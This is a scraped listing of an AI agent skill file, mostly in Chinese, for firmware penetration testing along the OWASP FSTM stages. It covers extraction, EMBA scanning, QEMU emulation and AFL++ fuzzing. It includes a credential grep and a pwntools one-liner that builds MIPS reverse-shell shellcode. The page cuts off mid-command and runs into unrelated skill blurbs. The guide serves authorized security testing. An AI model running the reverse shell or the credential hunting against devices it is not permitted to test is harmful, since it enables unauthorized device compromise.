skills/firmware-pentest/SKILL.md
--- name: firmware-pentest description: Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs. category: Security & Systems source: antigravity tags: [python, api, ai, automation, image, security, pentest] url: https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/firmware-pentest --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational pu
npx skillsauth add ranbot-ai/awesome-skills skills/firmware-pentestInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
下列任务进入本 skill:
| 场景 | 用什么 |
|------|--------|
| 从零拿到固件,全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件(含 boot.img) | apk-reverse/(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | binary-diff/ |
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
关键判断:
/dev/ 节点缺失收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
EMBA 一键扫,详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
详见 references/emulation-and-fuzz.md。
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --
tools
Delegate coding tasks to the Grok Build CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.
development
--- name: graceful-shutdown description: Implement graceful shutdown for servers and workers: drain connections, finish in-flight work, release resources, and exit cleanly on SIGTERM/SIGINT. category: AI & Agents source: antigravity tags: [python, typescript, node, api, claude, ai, template, docker, kubernetes] url: https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/graceful-shutdown --- # Graceful Shutdown ## Overview A skill for implementing graceful shutdown in server
development
--- name: falsify description: The scientific thinking protocol for AI agents. Use when facing complex, ambiguous, or high-stakes questions where guessing is costly: hypothesis → attempt to break it → evidence → calibrated co category: Creative & Media source: antigravity tags: [markdown, claude, ai, agent, llm, template, design, security, rag, cro] url: https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/falsify --- # Falsify — The Scientific Thinking Protocol > Think like
tools
Configure approved delegation lanes across installed implementer CLIs, including optional model and effort choices, then write global or project config only after explicit user approval.